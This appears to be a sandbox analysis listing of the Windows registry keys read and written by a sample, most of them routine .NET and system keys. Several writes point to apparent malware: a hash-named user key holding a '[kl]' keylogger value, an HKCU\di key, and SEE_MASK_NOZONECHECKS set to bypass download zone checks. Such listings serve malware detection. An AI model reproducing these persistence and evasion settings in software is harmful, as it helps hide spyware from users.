HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Microsoft.VisualBasic,8.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Xml,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Configuration,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Web,2.0.0.0,,b03f5f7f11d50a3a,x86
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Management,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Runtime.Remoting,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Deployment,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Drawing,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Windows.Forms,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Runtime.Serialization.Formatters.Soap,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Accessibility,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Security,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_CURRENT_USER\di
HKEY_CURRENT_USER\Environment\SEE_MASK_NOZONECHECKS
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DbgJITDebugLaunchSetting
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DbgManagedDebugger
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Data.SqlXml,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\InstallationType
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\Library
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\IsMultiInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\First Counter
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\CategoryOptions
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\FileMappingSize
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\Counter Names
HKEY_CURRENT_USER\Software\3e2ba6e27f6c302ca8093546541e02ce\[kl]
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\CurrentBuildNumber
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\TCPIP6\Parameters\DisabledComponents
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\CEIPEnable
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\iphlpsvc\config\Connectivity_Platform_Enabled
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\en-US
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\en-US
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.44.3.4!7\Name
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\MUI\StringCacheSettings\StringCacheGeneration
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\p2pcollab.dll,-8042
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.47.1.1!7\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.64.1.1!7\Name
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\dnsapi.dll,-103
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\Enable Tracing
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\Tracing Level
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79617\Friendly Name
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\dhcpqec.dll,-100
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79617\Description
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\dhcpqec.dll,-101
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79617\Version
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\dhcpqec.dll,-103
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79617\Enabled
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79617\Vendor Name
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\dhcpqec.dll,-102
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79617\Info Clsid
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79617\Config Clsid
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79617\Validator Clsid
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79617\Registration Date
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79617\Component Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79619\Friendly Name
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\napipsec.dll,-1
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79619\Description
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\napipsec.dll,-2
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79619\Version
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\napipsec.dll,-4
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79619\Enabled
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79619\Vendor Name
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\napipsec.dll,-3
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79619\Info Clsid
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79619\Config Clsid
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79619\Validator Clsid
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79619\Registration Date
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79619\Component Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79621\Friendly Name
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\tsgqec.dll,-100
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79621\Description
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\tsgqec.dll,-101
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79621\Version
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\tsgqec.dll,-102
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79621\Enabled
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79621\Vendor Name
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\tsgqec.dll,-103
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79621\Info Clsid
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79621\Config Clsid
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79621\Validator Clsid
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79621\Registration Date
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79621\Component Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79623\Friendly Name
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\eapqec.dll,-100
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79623\Description
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\eapqec.dll,-101
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79623\Version
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\eapqec.dll,-102
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79623\Enabled
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79623\Vendor Name
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\eapqec.dll,-103
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79623\Info Clsid
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79623\Config Clsid
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79623\Validator Clsid
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79623\Registration Date
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79623\Component Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\PlumbIpsecPolicy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\AppCompat\RaiseDefaultAuthnLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\DefaultAccessPermission
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{00000134-0000-0000-C000-000000000046}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\RemoteRpcDll
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledProcesses\F6C4EC9A
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\MachineThrottling
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\GlobalSession
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\UserenvDebugLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System\GpSvcDebugLevel
HKEY_LOCAL_MACHINE\SYSTEM\Setup\SystemSetupInProgress
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\Service\Enable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\Service\PolicyRefreshInProgress
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\DownloadManager\TransportDllPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\DownloadManager\CryptoAlgo
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\SecurityManager\BlockSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\SecurityManager\NumBlocksPerSegment
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\SecurityManager\Restricted\Seed
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\HostedCache\ServerRole
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\HostedCache\ClientAuth
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\HostedCache\TransportDllPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\HostedCache\MaxSimultaneousDownloads
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\HostedCache\MaxSimultaneousUploads
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\HostedCache\MaxPendingOffers
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\HostedCache\MaxPendingDownloads
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\HostedCache\DoNotUseSSL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\DiscoveryManager\RepubQuorumSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\DiscoveryManager\MinBackoffWindow
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\DiscoveryManager\DiscoveryProviderDllPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\Roaming\ForceRoamingDetect
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\Roaming\RefreshDllName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\Roaming\RefreshProcName

Write Keys

HKEY_CURRENT_USER\di
HKEY_CURRENT_USER\Environment\SEE_MASK_NOZONECHECKS
HKEY_CURRENT_USER\Software\3e2ba6e27f6c302ca8093546541e02ce
HKEY_CURRENT_USER\Software\3e2ba6e27f6c302ca8093546541e02ce\[kl]
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\LanguageList
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\dhcpqec.dll,-100
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\dhcpqec.dll,-101
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\dhcpqec.dll,-103
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\dhcpqec.dll,-102
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\napipsec.dll,-1
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\napipsec.dll,-2
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\napipsec.dll,-4
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\napipsec.dll,-3
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\tsgqec.dll,-100
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\tsgqec.dll,-101
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\tsgqec.dll,-102
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\tsgqec.dll,-103
